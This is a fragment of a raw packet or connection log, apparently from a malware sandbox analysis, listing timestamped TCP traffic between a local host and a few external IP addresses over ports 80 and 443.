Nov 21, 2024 07:10:32.590404034 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.591111898 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.591218948 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.591249943 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.591330051 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.591970921 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.592011929 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.592154026 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.592300892 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.592792034 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.592875004 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.593019962 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.593091965 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.593590975 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.593636990 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.593677044 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.593799114 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.594422102 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.594554901 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.594574928 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.594635963 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.595268011 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.595393896 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.595460892 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.596097946 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.596175909 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.596227884 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.596923113 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.596956968 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.597012997 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.597238064 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.597738981 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.597870111 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.597914934 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.597946882 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.598584890 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.598619938 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.598705053 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.598738909 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.599277973 CET	443	49818	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.599364996 CET	443	49818	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.599397898 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.599450111 CET	49818	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.599526882 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.599556923 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.599585056 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.600238085 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.600361109 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.600549936 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.601069927 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.601140022 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.601224899 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.601912022 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.602009058 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.602030993 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.602714062 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.602756977 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.602821112 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.603318930 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.603511095 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.603583097 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.603703976 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.604330063 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.604485035 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.604635000 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.605155945 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.605309010 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.605467081 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.606065035 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.606118917 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.620803118 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.620996952 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.621073961 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.621229887 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.621335030 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.621464014 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.621481895 CET	49820	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.622050047 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.622100115 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.622129917 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.622293949 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.622901917 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.623008966 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.623018026 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.623328924 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.623810053 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.623856068 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.623888969 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.623923063 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.624548912 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.624609947 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.624622107 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.624648094 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.625399113 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.625452042 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.625452995 CET	49820	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.625462055 CET	443	49820	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.625468016 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.625699043 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.636548042 CET	49820	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.636557102 CET	443	49820	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.660104036 CET	49818	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.660104036 CET	49818	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.660154104 CET	443	49818	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.660229921 CET	443	49818	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.669198990 CET	80	49823	185.215.113.43	192.168.2.4
Nov 21, 2024 07:10:32.675596952 CET	49824	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.675620079 CET	443	49824	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.675672054 CET	49824	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.685961962 CET	49825	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.685986996 CET	443	49825	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.686041117 CET	49825	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.686356068 CET	49824	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.686371088 CET	443	49824	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.691060066 CET	49825	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.691072941 CET	443	49825	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.692219973 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.692298889 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.692328930 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.692368984 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.692497969 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.692579031 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.692619085 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.692723989 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.693312883 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.693423986 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.693505049 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.694149017 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.694195032 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.694262981 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.694303989 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.694994926 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.695034027 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.695064068 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.695190907 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.695792913 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.695833921 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.695883989 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.696043015 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.696580887 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.696630001 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.696667910 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.696703911 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.697457075 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.697499990 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.697514057 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.697556973 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.698220968 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.698262930 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.698362112 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.698402882 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.699069023 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.699106932 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.699150085 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.699259043 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.699877977 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.700001001 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.700043917 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.700683117 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.700721979 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.700767040 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.701105118 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.701530933 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.701579094 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.701626062 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.702362061 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.702491045 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.702533960 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.703147888 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.703191042 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.703237057 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.703274965 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.703962088 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.703999043 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.704121113 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.704158068 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.704871893 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.704910994 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.704978943 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.705013990 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.705606937 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.705735922 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.705779076 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.706451893 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.706576109 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.706613064 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.707266092 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.707309008 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.707351923 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.758971930 CET	443	49819	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.759145021 CET	443	49819	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.759210110 CET	49819	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.762351990 CET	443	49821	188.114.97.3	192.168.2.4
Nov 21, 2024 07:10:32.762418032 CET	49821	443	192.168.2.4	188.114.97.3
Nov 21, 2024 07:10:32.765698910 CET	49819	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.765698910 CET	49819	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.765743971 CET	443	49819	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.765788078 CET	443	49819	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.769746065 CET	49821	443	192.168.2.4	188.114.97.3
Nov 21, 2024 07:10:32.769764900 CET	443	49821	188.114.97.3	192.168.2.4
Nov 21, 2024 07:10:32.770102024 CET	443	49821	188.114.97.3	192.168.2.4
Nov 21, 2024 07:10:32.786022902 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.786079884 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.786098957 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.786134005 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.786433935 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.786473036 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.786585093 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.787184954 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.787188053 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.787221909 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.787269115 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.787307978 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.787992001 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.788047075 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.788079977 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.788819075 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.788871050 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.788913965 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.789338112 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.789640903 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.789697886 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.789741039 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.789777994 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.790436983 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.790476084 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.790544987 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.790582895 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.791373968 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.791445017 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.791487932 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.792123079 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.792284012 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.792330027 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.792926073 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.792970896 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.793023109 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.793775082 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.793816090 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.793883085 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.794594049 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.794636965 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.794644117 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.794681072 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.795406103 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.795463085 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.795504093 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.796235085 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.796349049 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.796391010 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.797028065 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.797066927 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.797108889 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.797857046 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.797899008 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.797959089 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.798676014 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.798721075 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.798774958 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.798811913 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.799499035 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.799597025 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.799642086 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.800316095 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.800425053 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.800470114 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.801126003 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.801167965 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.801258087 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.801990986 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.802032948 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.802081108 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.802774906 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.802826881 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.802907944 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.802948952 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.803576946 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.803695917 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.803792953 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.804392099 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.804480076 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.804527998 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.805207014 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.805257082 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.805300951 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.806062937 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.806080103 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.806113005 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.806133986 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.806943893 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.807004929 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.807050943 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.821962118 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.822077990 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.822127104 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.822299004 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.822413921 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.822457075 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.823133945 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.823184013 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.823476076 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.823533058 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.823570013 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.824423075 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.824551105 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.824634075 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.825174093 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.825229883 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.825278044 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.825932026 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.825997114 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.826041937 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.826760054 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.826797962 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.831377983 CET	49821	443	192.168.2.4	188.114.97.3
Nov 21, 2024 07:10:32.893419981 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.893502951 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.893512011 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.893551111 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.893775940 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.893817902 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.893898010 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.893939018 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.894608974 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.894654036 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.894718885 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.894757986 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.895518064 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.895565033 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.895616055 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.895657063 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.896245956 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.896286011 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.896353006 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.896389961 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.897070885 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.897116899 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.897176981 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.897217989 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.897871971 CET	80	49807	185.215.113.206	192.168.2.4
